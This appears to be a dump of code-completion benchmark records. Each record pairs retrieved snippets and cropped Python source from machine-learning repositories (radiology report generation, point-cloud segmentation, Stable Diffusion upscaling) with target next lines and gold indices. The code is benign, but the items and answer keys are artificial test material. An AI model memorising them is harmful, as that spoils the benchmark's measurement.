past_feat_dynamic_cat: Optional[Tensor] = None, num_parallel_samples: Optional[int] = None, quantiles: Optional[list[float]] = None, ) -> Tensor: num_parallel_samples = num_parallel_samples or self.num_parallel_samples quantiles = quantiles or self.quantiles encoder_targets, encoder_feats, loc, scale = self.create_encoder_inputs( past_target, past_observed_values, past_time_feat, feat_static_real, feat_dynamic_real, past_feat_dynamic_real, feat_static_cat, feat_dynamic_cat, past_feat_dynamic_cat, ) encoder_inputs = self.decoder_in_proj( torch.cat([encoder_targets, encoder_feats], dim=-1) ) decoder_targets, decoder_feats = self.create_decoder_inputs( scale, future_time_feat, feat_static_real, feat_dynamic_real, feat_static_cat, feat_dynamic_cat, ) future_observed_values = torch.ones( (past_observed_values.size(0), self.prediction_length) + past_observed_values.shape[2:], device=past_observed_values.device, ) decoder_inputs = ( self.decoder_in_proj(torch.cat([decoder_targets, decoder_feats], dim=-1)) + self.mask_token ) representations = self.decoder( torch.cat([encoder_inputs, decoder_inputs], dim=1), attn_mask=self.get_attn_mask(past_observed_values, future_observed_values), )[:, -self.prediction_length :] if isinstance(self.distr_output, QuantileOutput): preds = self.out_proj(representations) * scale + loc else: distr_params = self.out_proj(representations) if isinstance( self.distr_output,
(StudentTOutput, MultivariateStudentTOutput, IndependentStudentTOutput, FlowOutput),
7
2023-10-09 07:53:49+00:00
12k
wjhou/Recap
src_stage2/run_ende.py
[ { "identifier": "ViTBartForGeneration", "path": "src_stage2/models/modeling_bart.py", "snippet": "class ViTBartForGeneration(BartPretrainedModel):\n def __init__(self, encoder_config: BartConfig, decoder_config: BartConfig):\n super().__init__(decoder_config)\n self.config = decoder_con...
import json import logging import os import sys import datasets import torch import transformers import copy import warnings from torchvision import transforms from transformers import ( DataCollatorForSeq2Seq, HfArgumentParser, Seq2SeqTrainingArguments, set_seed, BertTokenizer, BartTokenizer, BartConfig, ) from transformers.file_utils import WEIGHTS_NAME from transformers.trainer_utils import get_last_checkpoint from radgraph import F1RadGraph from data_collator_ende import DataCollatorForEnDe as DataCollatorForSeq2Seq from dataset_ende import DatasetCustom from model_arguments import ModelArguments from seq2seqtrainer_metrics_ende import Seq2SeqTrainerGenMetrics from train_eval_ende_full import train from transformers import ViTFeatureExtractor from chexbert_eval import compute_ce_metric, load_chexbert, build_progression_graph from sklearn.exceptions import UndefinedMetricWarning from src_stage2.models.modeling_bart import ViTBartForGeneration from src_stage1.data_arguments import DataTrainingArguments from tokenizer import Tokenizer from transformers import EarlyStoppingCallback from train_eval_ende_full import eval_text
8,228
last_checkpoint = get_last_checkpoint(training_args.output_dir) if last_checkpoint is None and len(os.listdir(training_args.output_dir)) > 0: raise ValueError( f"Output directory ({training_args.output_dir}) already exists and is not empty. " "Use --overwrite_output_dir to overcome." ) elif ( last_checkpoint is not None and training_args.resume_from_checkpoint is None ): logger.info( f"Checkpoint detected, resuming training at {last_checkpoint}. To avoid this behavior, change " "the `--output_dir` or add `--overwrite_output_dir` to train from scratch." ) # Set seed before initializing model. set_seed(training_args.seed) Seq2SeqTrainer = Seq2SeqTrainerGenMetrics data_args.dataset = ( "mimic_abn" if "mimic_abn" in data_args.annotation_file else "mimic_cxr" ) logger.info("***************************") logger.info("***************************") logger.info(data_args) logger.info("***************************") logger.info("***************************") logger.info("***************************") logger.info("***************************") logger.info(model_args) logger.info("***************************") logger.info("***************************") # load necessary data ref_annotation = None if data_args.miss_annotation_file is not None: with open(data_args.miss_annotation_file, "r", encoding="utf-8") as f: ref_annotation = json.load(f) with open(data_args.annotation_file, "r", encoding="utf-8") as f: annotation = json.load(f) # temporal information with open(data_args.history, "r", encoding="utf-8") as f: temporal_ids = json.load(f) data_args.threshold = 3 if data_args.dataset == "mimic_abn" else 10 # ngram labels train_idxs = {sample["id"] for sample in annotation["train"]} # observation labels id2tags, observation_category, observation_weight = Tokenizer.load_tag2ids( data_args.chexbert_label, need_header=True, train_idxs=train_idxs, ) checkpoint = "GanjinZero/biobart-base" bart_tokenizer = BartTokenizer.from_pretrained(checkpoint) tokenizer = Tokenizer(data_args, observation_category) progression_graph = build_progression_graph( progression_triples=json.load( open(data_args.progression_graph, "r", encoding="utf-8") ), observations=observation_category, topk_entity=data_args.topk, tokenizer=tokenizer, ) tokenizer.id2entity = progression_graph["id2entity"] chexbert = load_chexbert(model_args.chexbert_model_name_or_path) bert_tokenizer = BertTokenizer.from_pretrained("bert-base-uncased") f1radgraph = F1RadGraph(reward_level="partial") config = BartConfig.from_pretrained(checkpoint) config.num_observation = len(observation_category) config.num_progression = 3 config.num_rgcnlayer = 3 config.num_relation = len(progression_graph["relation2id"]) # config.num_entity = len(progression_graph["entity2id"]) config.num_node = len(progression_graph["entity2id"]) config.observation_category = observation_category config.alpha = data_args.alpha config.beta = data_args.beta config.observation_weight = observation_weight config.pretrained_visual_extractor = "google/vit-base-patch16-224-in21k" config.topk = data_args.topk processor = ViTFeatureExtractor.from_pretrained(config.pretrained_visual_extractor) config.add_cross_attention = True config.is_temporal = 1 config.is_stage1_pretrained = int(data_args.is_stage1_pretrained) config.stage1_model_name_or_path = model_args.stage1_model_name_or_path if int(data_args.is_stage1_pretrained) == 0: config.stage1_model_name_or_path = None config.decoder_model_name_or_path = checkpoint config.num_path = 16 * 16 + 1 config.lambda_ = data_args.lambda_ config.id2entity = progression_graph["id2entity"] encoder_config = config decoder_config = copy.deepcopy(config) decoder_config.vocab_size = len(tokenizer.token2idx) decoder_config.decoder_layers = 3 decoder_config.d_model = 768 decoder_config.decoder_ffn_dim = 768 decoder_config.decoder_attention_heads = 8 decoder_config.encoder_layers = 3 decoder_config.d_model = 768 decoder_config.encoder_ffn_dim = 768 decoder_config.encoder_attention_heads = 8 decoder_config.activation_function = "relu" decoder_config.decoder_start_token_id = tokenizer.bos_token_id decoder_config.eos_token_id = tokenizer.eos_token_id decoder_config.bos_token_id = tokenizer.bos_token_id decoder_config.decoder_start_token_id = tokenizer.bos_token_id decoder_config.pad_token_id = tokenizer.pad_token_id data_args.vocab_size = decoder_config.vocab_size
#!/usr/bin/env python # coding=utf-8 sys.path.append("../") warnings.filterwarnings( action="ignore", category=UndefinedMetricWarning, module="sklearn" ) logger = logging.getLogger(__name__) def main(): parser = HfArgumentParser( (ModelArguments, DataTrainingArguments, Seq2SeqTrainingArguments) ) if len(sys.argv) == 2 and sys.argv[1].endswith(".json"): model_args, data_args, training_args = parser.parse_json_file( json_file=os.path.abspath(sys.argv[1]) ) else: model_args, data_args, training_args = parser.parse_args_into_dataclasses() # Setup logging logging.basicConfig( format="%(asctime)s - %(levelname)s - %(name)s - %(message)s", datefmt="%m/%d/%Y %H:%M:%S", handlers=[logging.StreamHandler(sys.stdout)], ) log_level = training_args.get_process_log_level() logger.setLevel(log_level) datasets.utils.logging.set_verbosity(log_level) transformers.utils.logging.set_verbosity(log_level) transformers.utils.logging.enable_default_handler() transformers.utils.logging.enable_explicit_format() # Log on each process the small summary: logger.warning( f"Process rank: {training_args.local_rank}, device: {training_args.device}, n_gpu: {training_args.n_gpu}" + f"distributed training: {bool(training_args.local_rank != -1)}, 16-bits training: {training_args.fp16}" ) logger.info(f"Training/evaluation parameters {training_args}") # Detecting last checkpoint. last_checkpoint = None if ( os.path.isdir(training_args.output_dir) and training_args.do_train and not training_args.overwrite_output_dir ): last_checkpoint = get_last_checkpoint(training_args.output_dir) if last_checkpoint is None and len(os.listdir(training_args.output_dir)) > 0: raise ValueError( f"Output directory ({training_args.output_dir}) already exists and is not empty. " "Use --overwrite_output_dir to overcome." ) elif ( last_checkpoint is not None and training_args.resume_from_checkpoint is None ): logger.info( f"Checkpoint detected, resuming training at {last_checkpoint}. To avoid this behavior, change " "the `--output_dir` or add `--overwrite_output_dir` to train from scratch." ) # Set seed before initializing model. set_seed(training_args.seed) Seq2SeqTrainer = Seq2SeqTrainerGenMetrics data_args.dataset = ( "mimic_abn" if "mimic_abn" in data_args.annotation_file else "mimic_cxr" ) logger.info("***************************") logger.info("***************************") logger.info(data_args) logger.info("***************************") logger.info("***************************") logger.info("***************************") logger.info("***************************") logger.info(model_args) logger.info("***************************") logger.info("***************************") # load necessary data ref_annotation = None if data_args.miss_annotation_file is not None: with open(data_args.miss_annotation_file, "r", encoding="utf-8") as f: ref_annotation = json.load(f) with open(data_args.annotation_file, "r", encoding="utf-8") as f: annotation = json.load(f) # temporal information with open(data_args.history, "r", encoding="utf-8") as f: temporal_ids = json.load(f) data_args.threshold = 3 if data_args.dataset == "mimic_abn" else 10 # ngram labels train_idxs = {sample["id"] for sample in annotation["train"]} # observation labels id2tags, observation_category, observation_weight = Tokenizer.load_tag2ids( data_args.chexbert_label, need_header=True, train_idxs=train_idxs, ) checkpoint = "GanjinZero/biobart-base" bart_tokenizer = BartTokenizer.from_pretrained(checkpoint) tokenizer = Tokenizer(data_args, observation_category) progression_graph = build_progression_graph( progression_triples=json.load( open(data_args.progression_graph, "r", encoding="utf-8") ), observations=observation_category, topk_entity=data_args.topk, tokenizer=tokenizer, ) tokenizer.id2entity = progression_graph["id2entity"] chexbert = load_chexbert(model_args.chexbert_model_name_or_path) bert_tokenizer = BertTokenizer.from_pretrained("bert-base-uncased") f1radgraph = F1RadGraph(reward_level="partial") config = BartConfig.from_pretrained(checkpoint) config.num_observation = len(observation_category) config.num_progression = 3 config.num_rgcnlayer = 3 config.num_relation = len(progression_graph["relation2id"]) # config.num_entity = len(progression_graph["entity2id"]) config.num_node = len(progression_graph["entity2id"]) config.observation_category = observation_category config.alpha = data_args.alpha config.beta = data_args.beta config.observation_weight = observation_weight config.pretrained_visual_extractor = "google/vit-base-patch16-224-in21k" config.topk = data_args.topk processor = ViTFeatureExtractor.from_pretrained(config.pretrained_visual_extractor) config.add_cross_attention = True config.is_temporal = 1 config.is_stage1_pretrained = int(data_args.is_stage1_pretrained) config.stage1_model_name_or_path = model_args.stage1_model_name_or_path if int(data_args.is_stage1_pretrained) == 0: config.stage1_model_name_or_path = None config.decoder_model_name_or_path = checkpoint config.num_path = 16 * 16 + 1 config.lambda_ = data_args.lambda_ config.id2entity = progression_graph["id2entity"] encoder_config = config decoder_config = copy.deepcopy(config) decoder_config.vocab_size = len(tokenizer.token2idx) decoder_config.decoder_layers = 3 decoder_config.d_model = 768 decoder_config.decoder_ffn_dim = 768 decoder_config.decoder_attention_heads = 8 decoder_config.encoder_layers = 3 decoder_config.d_model = 768 decoder_config.encoder_ffn_dim = 768 decoder_config.encoder_attention_heads = 8 decoder_config.activation_function = "relu" decoder_config.decoder_start_token_id = tokenizer.bos_token_id decoder_config.eos_token_id = tokenizer.eos_token_id decoder_config.bos_token_id = tokenizer.bos_token_id decoder_config.decoder_start_token_id = tokenizer.bos_token_id decoder_config.pad_token_id = tokenizer.pad_token_id data_args.vocab_size = decoder_config.vocab_size
model = ViTBartForGeneration(
0
2023-10-08 01:37:37+00:00
12k
LiyaoTang/ERDA
models/build_models.py
[ { "identifier": "load_config", "path": "config/utils.py", "snippet": "def load_config(cfg_path=None, dataset_name=None, cfg_name=None, cfg_group=None, reload=True):\n # cfg from path\n if cfg_path is not None:\n update = None\n if os.path.isfile(cfg_path):\n # update on th...
import os, re, sys, copy, warnings import tensorflow as tf from collections import defaultdict from config import log_config, load_config, get_block_cfg from utils.logger import print_dict from .heads import resnet_classification_head, resnet_scene_segmentation_head, resnet_multi_part_segmentation_head from .backbone import resnet_backbone from .blocks import get_block_ops, apply_block_ops from .head import apply_head_ops from .utils import tf_scope from .basic_operators import * from ops import TF_OPS
10,494
queries = stage_list['down'][stage_i]['p_out'] supports = stage_list['up'][stage_last]['p_out'] supports = supports if supports is not None else stage_list['down'][-1]['p_out'] # or, the most downsampled queries_len = supports_len = None if 'batches_len' in inputs: queries_len, supports_len = inputs['batches_len'][stage_i], inputs['batches_len'][stage_last] kr = config.kr_sample_up[stage_last] inputs['sample_idx']['up'][stage_last] = TF_OPS.tf_fix_search(queries, supports, kr, config.search, queries_len, supports_len, name=f'{config.search}_up') # if self.config.debug: # print_dict(inputs, head=f'{stage_n}-{stage_i} - prepared', except_k='stage_list') # print('-' * 60) return @tf_scope def build_head(self, head_list, verbose=True): # building ouput heads & losses head_dict = self.inputs['head_dict'] if 'head_dict' in self.inputs else {'loss': {}, 'result': {}, 'config': {}} head_list = head_list if isinstance(head_list, (tuple, list)) else [head_list] head_list = [load_config(dataset_name='head', cfg_name=h) if isinstance(h, str) else h for h in head_list] if verbose: print('\n\n==== arch output') for head_cfg in head_list: if verbose: log_config(head_cfg) # if self.config.debug: # print_dict(self.inputs) with tf.variable_scope(f'output/{head_cfg.head_n}'): head_rst = apply_head_ops(self.inputs, head_cfg, self.config, self.is_training) if verbose: print_dict(head_rst) # loss head_k = head_cfg.task if head_cfg.task else head_cfg.head_n # head for specified task, or head_n as key by default loss_keys = ['loss',] for k in loss_keys: head_rst_d = head_rst[k] if isinstance(head_rst[k], dict) else {head_k: head_rst[k]} # use returned dict if provided joint = head_dict[k].keys() & head_rst_d.keys() assert len(joint) == 0, f'head rst {k} has overlapping keys {joint}' head_dict[k].update(head_rst_d) # result rst_keys = ['logits', 'probs', 'labels',] head_rst_d = {k: head_rst[k] for k in head_rst if k not in loss_keys} assert head_cfg.head_n not in head_dict['result'], f'duplicate head {head_cfg.head_n} in dict' assert set(head_rst_d.keys()).issuperset(set(rst_keys)), f'must include keys {rst_keys}, but given {head_rst_d.keys()}' head_dict['result'][head_cfg.head_n] = head_rst_d if head_k and head_k != head_cfg.head_n: # get the task head - flat & overridable if head_k in head_dict['result']: warnings.warn(f'duplicate task head {head_k} in dict, override by {head_cfg.head_n}') head_dict['result'][head_k] = {k: head_rst_d[k][head_k] if isinstance(head_rst_d[k], dict) else head_rst_d[k] for k in head_rst_d} # config head_dict['config'][head_cfg.head_n] = head_cfg head_dict['config'][head_k] = head_cfg if verbose: print('\n\n') return head_dict @tf_scope def build_loss(self, scope=None, head_dict=None): # finalizing loss_dict if head_dict is None: head_dict = self.head_dict loss_dict = head_dict['loss'] sum_fn = tf.accumulate_n if len(self.config.gpu_devices) else tf.add_n # accumulate_n seems not working with cpu-only # get the collection, filtering by 'scope' l2_loss = tf.get_collection('weight_losses', scope) if l2_loss and self.config.optimizer not in ['adamW']: loss_dict['l2_loss'] = sum_fn(l2_loss, name='l2_loss') # L2 # sum total loss loss = sum_fn(list(loss_dict.values()), name='loss') # reconstruct loss dict - reorder & incldue total loss main_n = {'seg': ['S3DIS', 'ScanNet', 'Semantic3D', 'NPM3D', 'ShapeNet', 'PartNet', 'SensatUrban', 'SemanticKITTI']} main_n = {v: k for k, lst in main_n.items() for v in lst}[self.config.dataset] loss_dict = { 'loss': loss, # # should have one and only one 'main' loss # # TODO: may introduce cls & seg head at the same time? => each task a main? # main_n: loss_dict.pop(main_n), **loss_dict, } head_dict['loss'] = loss_dict return loss_dict class SceneSegModel(Model): def __init__(self, flat_inputs, is_training, config, scope=None, verbose=True): self.config = config self.is_training = is_training self.scope = scope self.verbose = verbose with tf.variable_scope('inputs'): self.inputs = self.get_inputs(flat_inputs) self.num_layers = config.num_layers self.labels = self.inputs['point_labels'] self.down_list = [{'p_sample': None, 'f_sample': None, 'p_out': None, 'f_out': None} for i in range(self.num_layers)] self.up_list = [{'p_sample': None, 'f_sample': None, 'p_out': None, 'f_out': None} for i in range(self.num_layers)] self.stage_list = self.inputs['stage_list'] = {'down': self.down_list, 'up': self.up_list} self.head_dict = self.inputs['head_dict'] = {'loss': {}, 'result': {}, 'config': {}} for i, p in enumerate(self.inputs['points']): # fill points self.down_list[i]['p_out'] = p # up 0 = the most upsampled, num_layers-1 the upsampled pt from the most downsampled self.up_list[i]['p_out'] = p if i < self.num_layers - 1 else None if config.dense_by_conv: dense_layer.config = config with tf.variable_scope('model'): fdim = config.first_features_dim r = config.first_subsampling_dl * config.density_parameter features = self.inputs['features']
if tf.__version__.split('.')[0] == '2': tf = tf.compat.v1 tf.disable_v2_behavior() BASE_DIR = os.path.dirname(os.path.abspath(__file__)) ROOT_DIR = os.path.dirname(BASE_DIR) sys.path.insert(0, ROOT_DIR) class Model(object): def get_inputs(self, inputs): config = self.config if isinstance(inputs, dict): pass else: flat_inputs = inputs self.inputs = dict() self.inputs['points'] = flat_inputs[:config.num_layers] self.inputs['neighbors'] = flat_inputs[config.num_layers:2 * config.num_layers] self.inputs['pools'] = flat_inputs[2 * config.num_layers:3 * config.num_layers] self.inputs['upsamples'] = flat_inputs[3 * config.num_layers:4 * config.num_layers] ind = 4 * config.num_layers self.inputs['features'] = flat_inputs[ind] ind += 1 self.inputs['batch_weights'] = flat_inputs[ind] ind += 1 self.inputs['in_batches'] = flat_inputs[ind] ind += 1 self.inputs['out_batches'] = flat_inputs[ind] ind += 1 self.inputs['point_labels'] = flat_inputs[ind] ind += 1 self.inputs['augment_scales'] = flat_inputs[ind] ind += 1 self.inputs['augment_rotations'] = flat_inputs[ind] ind += 1 self.inputs['point_inds'] = flat_inputs[ind] ind += 1 self.inputs['cloud_inds'] = flat_inputs[ind] inputs = self.inputs for k in ['points', 'neighbors', 'pools', 'upsamples']: inputs[k] = [i if i is not None and i.shape.as_list()[0] != 0 else None for i in inputs[k]] inputs['sample_idx'] = { 'down': inputs['pools'], 'up': inputs['upsamples'] } if 'batches_len' in inputs: if 'batches_stack' not in inputs: inputs['batches_stack'] = [inputs['in_batches']] + [None] * (config.num_layers - 2) + [inputs['out_batches']] if 'batches_ind' not in inputs: inputs['batches_ind'] = [inputs['in_batch_inds']] + [None] * (config.num_layers - 1) if '_glb' not in inputs: inputs['_glb'] = {} # per-model/device global storage # inputs['assert_ops'] = [] return inputs def get_result(self): # keys=['logits', 'probs', 'labels'] # head_rst = {h: {k: d[k] for k in keys if k in d} for h, d in self.head_dict['result'].items()} head_rst = self.head_dict['result'] rst = { # {head/task: {probs, labels}, ..., 'inputs': input related} **head_rst, 'inputs': { 'point_inds': self.inputs['point_inds'], 'cloud_inds': self.inputs['cloud_inds'], } } for k in ['batches_len']: if k in self.inputs: rst['inputs'][k] = self.inputs[k] return rst def get_loss(self): return self.loss_dict """ TODO: to check - multiple keys indexing the inputs['point_labels'] should be having the same id in rst - ensure only one tensor passed from gpu to cpu <= """ @tf_scope def build_backbone(self, features, block_list, verbose=True): # building backbone blocks inputs = self.inputs config = self.config num_layers = config.num_layers def is_new_stage(blk): if any([k in blk for k in ['pool', 'strided']]): return 'down' elif any([k in blk for k in ['upsample']]): return 'up' else: return '' if 'stage_list' not in inputs: down_list = [{'p_sample': None, 'f_sample': None, 'p_out': None, 'f_out': None} for i in range(num_layers)] up_list = [{'p_sample': None, 'f_sample': None, 'p_out': None, 'f_out': None} for i in range(num_layers)] if num_layers > 0 else down_list stage_list = {'down': down_list, 'up': up_list} else: stage_list = inputs['stage_list'] down_list, up_list = stage_list['down'], stage_list['up'] inputs['stage_list'] = stage_list # backbone - init setting stage_i = 0 block_i = 0 stage_sc = 'down' F_list = down_list F_list[stage_i]['p_sample'] = inputs['points'][stage_i] F_list[stage_i]['f_sample'] = features d_out = config.architecture_dims[0] if verbose: print(f'\n\n==== {stage_sc}_{stage_i} - arch main') for block_cfg in block_list: block_n = block_cfg.name stage_n = is_new_stage(block_n) # change stage - indexing the stage after down/up-sampling ops if stage_n: if verbose: print('---- pts & features') print_dict(F_list[stage_i], prefix='\t') # update if stage_n == 'down': stage_i += 1 elif stage_n == 'up': stage_i -= 1 else: raise NotImplementedError(f'non supported stage name {stage_n}') # prepare block_i = 0 stage_sc = stage_n F_list = stage_list[stage_n] d_out = config.architecture_dims[stage_i] kr = config.kr_search[stage_i] self.prepare_points(stage_n, stage_i, inputs, config, name=f'{stage_sc}_{stage_i}') if verbose: print(f'\n\n==== {stage_sc}_{stage_i} - arch main') print_dict({k: v[stage_i] for k, v in inputs.items() if isinstance(v, tuple)}, prefix='\t') print(f'\td_out = {d_out}; kr = {kr}\n') if verbose: log_config(block_cfg) # special block if block_n.startswith('__') and block_n.endswith('__'): if block_n == '__up__': block_i = 0 stage_sc = 'up' F_list = up_list F_list[stage_i]['p_sample'] = inputs['points'][stage_i] F_list[stage_i]['f_sample'] = features else: raise ValueError(f'not supported special block {block_n}') # block ops else: with tf.variable_scope(f'{stage_sc}_{stage_i}/{block_n}_{block_i}'): block_ops = get_block_ops(block_n) features = block_ops(features, d_out, inputs, stage_n, stage_i, block_cfg, config, self.is_training) block_i += 1 if verbose: print(f'{block_n}_{block_i}\t{features}') # save the sampled pt/feature (1st block to sample the p_in/f_in of a stage) # NOTE update of inputs done in the ops - e.g. changing pt dyanmically based on feature & spatial sampling in inputs if stage_n: F_list[stage_i]['p_sample'] = inputs['points'][stage_i] F_list[stage_i]['f_sample'] = features # save as last block F_list[stage_i]['p_out'] = inputs['points'][stage_i] F_list[stage_i]['f_out'] = features # align most downsampled stage in up-down? if all(v == None for k, v in up_list[-1].items()): up_list[-1] = down_list[-1] if verbose: print('---- pts & features') print_dict(F_list[stage_i], prefix='\t') print_dict({'\nstage list =': stage_list}) return stage_list @tf_scope def prepare_points(self, stage_n, stage_i, inputs, config): # fixed sampling & searching on points - preparing inputs for next stage # (may otherwise be specified as block) stage_list = inputs['stage_list'] assert stage_n in ['up', 'down', ''], f'should not invoke prepare_points with stage_n=\'{stage_n}\'' # if config.debug: # print_dict(inputs, head=f'{stage_n}-{stage_i}') # print(stage_n == 'down' and inputs['points'][stage_i] is None and config.sample in TF_OPS.fix_sample) # print(stage_n == 'down' and inputs['neighbors'][stage_i] is None and config.search in TF_OPS.fix_search) # print(stage_n == 'down' and inputs['sample_idx']['down'][stage_i] is None and config.search in TF_OPS.fix_search) # print(stage_n == 'up' and inputs['sample_idx']['up'][stage_i] is None and config.search in TF_OPS.fix_search) # downsampling if stage_n == 'down' and inputs['points'][stage_i] is None and config.sample in TF_OPS.fix_sample: stage_last = stage_i - 1 # last downsampled stage # stage_last = len([i for i in inputs['points'] if i is not None]) points = stage_list['down'][stage_last]['p_out'] batches_len = inputs['batches_len'][stage_last] if 'batches_len' in inputs else None r = config.r_sample[stage_last] rst = TF_OPS.tf_fix_sample(points, r, config.sample, batches_len, verbose=False, name=config.sample) if 'batches_len' in inputs: inputs['points'][stage_i], inputs['batches_len'][stage_i] = rst else: inputs['points'][stage_i] = rst # neighborhood search if inputs['neighbors'][stage_i] is None and config.search in TF_OPS.fix_search: points = inputs['points'][stage_i] # current stage batches_len = inputs['batches_len'][stage_i] if 'batches_len' in inputs else None kr = config.kr_search[stage_i] inputs['neighbors'][stage_i] = TF_OPS.tf_fix_search(points, points, kr, config.search, batches_len, batches_len, name=config.search) # downsampling - pool if stage_n == 'down' and inputs['sample_idx']['down'][stage_i - 1] is None and config.search in TF_OPS.fix_search: stage_last = stage_i - 1 # last downsampled stage queries, supports = inputs['points'][stage_i], stage_list['down'][stage_last]['p_out'] queries_len = supports_len = None if 'batches_len' in inputs: queries_len, supports_len = inputs['batches_len'][stage_i], inputs['batches_len'][stage_last] kr = config.kr_sample[stage_last] inputs['sample_idx']['down'][stage_last] = TF_OPS.tf_fix_search(queries, supports, kr, config.search, queries_len, supports_len, name=f'{config.search}_down') # upsampling - unpool elif stage_n == 'up' and inputs['sample_idx']['up'][stage_i + 1] is None and config.search in TF_OPS.fix_search: stage_last = stage_i + 1 - config.num_layers # last upsampled stage # stage_last = [i for i, stage_d in enumerate(stage_list['up']) if stage_d['p_out'] is not None] # stage_last = stage_last[0] if stage_last else -1 queries = stage_list['down'][stage_i]['p_out'] supports = stage_list['up'][stage_last]['p_out'] supports = supports if supports is not None else stage_list['down'][-1]['p_out'] # or, the most downsampled queries_len = supports_len = None if 'batches_len' in inputs: queries_len, supports_len = inputs['batches_len'][stage_i], inputs['batches_len'][stage_last] kr = config.kr_sample_up[stage_last] inputs['sample_idx']['up'][stage_last] = TF_OPS.tf_fix_search(queries, supports, kr, config.search, queries_len, supports_len, name=f'{config.search}_up') # if self.config.debug: # print_dict(inputs, head=f'{stage_n}-{stage_i} - prepared', except_k='stage_list') # print('-' * 60) return @tf_scope def build_head(self, head_list, verbose=True): # building ouput heads & losses head_dict = self.inputs['head_dict'] if 'head_dict' in self.inputs else {'loss': {}, 'result': {}, 'config': {}} head_list = head_list if isinstance(head_list, (tuple, list)) else [head_list] head_list = [load_config(dataset_name='head', cfg_name=h) if isinstance(h, str) else h for h in head_list] if verbose: print('\n\n==== arch output') for head_cfg in head_list: if verbose: log_config(head_cfg) # if self.config.debug: # print_dict(self.inputs) with tf.variable_scope(f'output/{head_cfg.head_n}'): head_rst = apply_head_ops(self.inputs, head_cfg, self.config, self.is_training) if verbose: print_dict(head_rst) # loss head_k = head_cfg.task if head_cfg.task else head_cfg.head_n # head for specified task, or head_n as key by default loss_keys = ['loss',] for k in loss_keys: head_rst_d = head_rst[k] if isinstance(head_rst[k], dict) else {head_k: head_rst[k]} # use returned dict if provided joint = head_dict[k].keys() & head_rst_d.keys() assert len(joint) == 0, f'head rst {k} has overlapping keys {joint}' head_dict[k].update(head_rst_d) # result rst_keys = ['logits', 'probs', 'labels',] head_rst_d = {k: head_rst[k] for k in head_rst if k not in loss_keys} assert head_cfg.head_n not in head_dict['result'], f'duplicate head {head_cfg.head_n} in dict' assert set(head_rst_d.keys()).issuperset(set(rst_keys)), f'must include keys {rst_keys}, but given {head_rst_d.keys()}' head_dict['result'][head_cfg.head_n] = head_rst_d if head_k and head_k != head_cfg.head_n: # get the task head - flat & overridable if head_k in head_dict['result']: warnings.warn(f'duplicate task head {head_k} in dict, override by {head_cfg.head_n}') head_dict['result'][head_k] = {k: head_rst_d[k][head_k] if isinstance(head_rst_d[k], dict) else head_rst_d[k] for k in head_rst_d} # config head_dict['config'][head_cfg.head_n] = head_cfg head_dict['config'][head_k] = head_cfg if verbose: print('\n\n') return head_dict @tf_scope def build_loss(self, scope=None, head_dict=None): # finalizing loss_dict if head_dict is None: head_dict = self.head_dict loss_dict = head_dict['loss'] sum_fn = tf.accumulate_n if len(self.config.gpu_devices) else tf.add_n # accumulate_n seems not working with cpu-only # get the collection, filtering by 'scope' l2_loss = tf.get_collection('weight_losses', scope) if l2_loss and self.config.optimizer not in ['adamW']: loss_dict['l2_loss'] = sum_fn(l2_loss, name='l2_loss') # L2 # sum total loss loss = sum_fn(list(loss_dict.values()), name='loss') # reconstruct loss dict - reorder & incldue total loss main_n = {'seg': ['S3DIS', 'ScanNet', 'Semantic3D', 'NPM3D', 'ShapeNet', 'PartNet', 'SensatUrban', 'SemanticKITTI']} main_n = {v: k for k, lst in main_n.items() for v in lst}[self.config.dataset] loss_dict = { 'loss': loss, # # should have one and only one 'main' loss # # TODO: may introduce cls & seg head at the same time? => each task a main? # main_n: loss_dict.pop(main_n), **loss_dict, } head_dict['loss'] = loss_dict return loss_dict class SceneSegModel(Model): def __init__(self, flat_inputs, is_training, config, scope=None, verbose=True): self.config = config self.is_training = is_training self.scope = scope self.verbose = verbose with tf.variable_scope('inputs'): self.inputs = self.get_inputs(flat_inputs) self.num_layers = config.num_layers self.labels = self.inputs['point_labels'] self.down_list = [{'p_sample': None, 'f_sample': None, 'p_out': None, 'f_out': None} for i in range(self.num_layers)] self.up_list = [{'p_sample': None, 'f_sample': None, 'p_out': None, 'f_out': None} for i in range(self.num_layers)] self.stage_list = self.inputs['stage_list'] = {'down': self.down_list, 'up': self.up_list} self.head_dict = self.inputs['head_dict'] = {'loss': {}, 'result': {}, 'config': {}} for i, p in enumerate(self.inputs['points']): # fill points self.down_list[i]['p_out'] = p # up 0 = the most upsampled, num_layers-1 the upsampled pt from the most downsampled self.up_list[i]['p_out'] = p if i < self.num_layers - 1 else None if config.dense_by_conv: dense_layer.config = config with tf.variable_scope('model'): fdim = config.first_features_dim r = config.first_subsampling_dl * config.density_parameter features = self.inputs['features']
F = resnet_backbone(config, self.inputs, features, base_radius=r, base_fdim=fdim,
7
2023-10-13 08:03:07+00:00
12k
YingqingHe/ScaleCrafter-ptl
scripts/txt2img.py
[ { "identifier": "instantiate_from_config", "path": "ldm/util.py", "snippet": "def instantiate_from_config(config):\n if not \"target\" in config:\n if config == '__is_first_stage__':\n return None\n elif config == \"__is_unconditional__\":\n return None\n ra...
import argparse, os, sys import cv2 import torch import numpy as np import intel_extension_for_pytorch as ipex from omegaconf import OmegaConf from PIL import Image from tqdm import tqdm, trange from itertools import islice from einops import rearrange from torchvision.utils import make_grid from pytorch_lightning import seed_everything from torch import autocast from contextlib import nullcontext from imwatermark import WatermarkEncoder from ldm.util import instantiate_from_config from ldm.models.diffusion.ddim import DDIMSampler from ldm.models.diffusion.plms import PLMSSampler from ldm.models.diffusion.dpm_solver import DPMSolverSampler from tiled_decode import tiled_vae_decoding
10,618
type=str, default="configs/stable-diffusion/v2-inference.yaml", help="path to config which constructs model", ) parser.add_argument( "--ckpt", type=str, help="path to checkpoint of model", ) parser.add_argument( "--seed", type=int, default=42, help="the seed (for reproducible sampling)", ) parser.add_argument( "--precision", type=str, help="evaluate at this precision", choices=["full", "autocast"], default="autocast" ) parser.add_argument( "--repeat", type=int, default=1, help="repeat each prompt in file this often", ) parser.add_argument( "--device", type=str, help="Device on which Stable Diffusion will be run", choices=["cpu", "cuda"], default="cpu" ) parser.add_argument( "--torchscript", action='store_true', help="Use TorchScript", ) parser.add_argument( "--ipex", action='store_true', help="Use Intel® Extension for PyTorch*", ) parser.add_argument( "--bf16", action='store_true', help="Use bfloat16", ) # redilation parser.add_argument( "--dilate", type=int, default=None, help="redilation factor", ) parser.add_argument( "--dilate_tau", type=int, default=None, help="timestep control, larger means more dilations", ) parser.add_argument( "--dilate_skip", type=int, default=None, help="layer control, larger means less dilations", ) parser.add_argument( "--progressive_dilate", action='store_true', help="Use progressive dilate", ) parser.add_argument( "--tiled_decoding", action='store_true', help="Use progressive dilate", ) 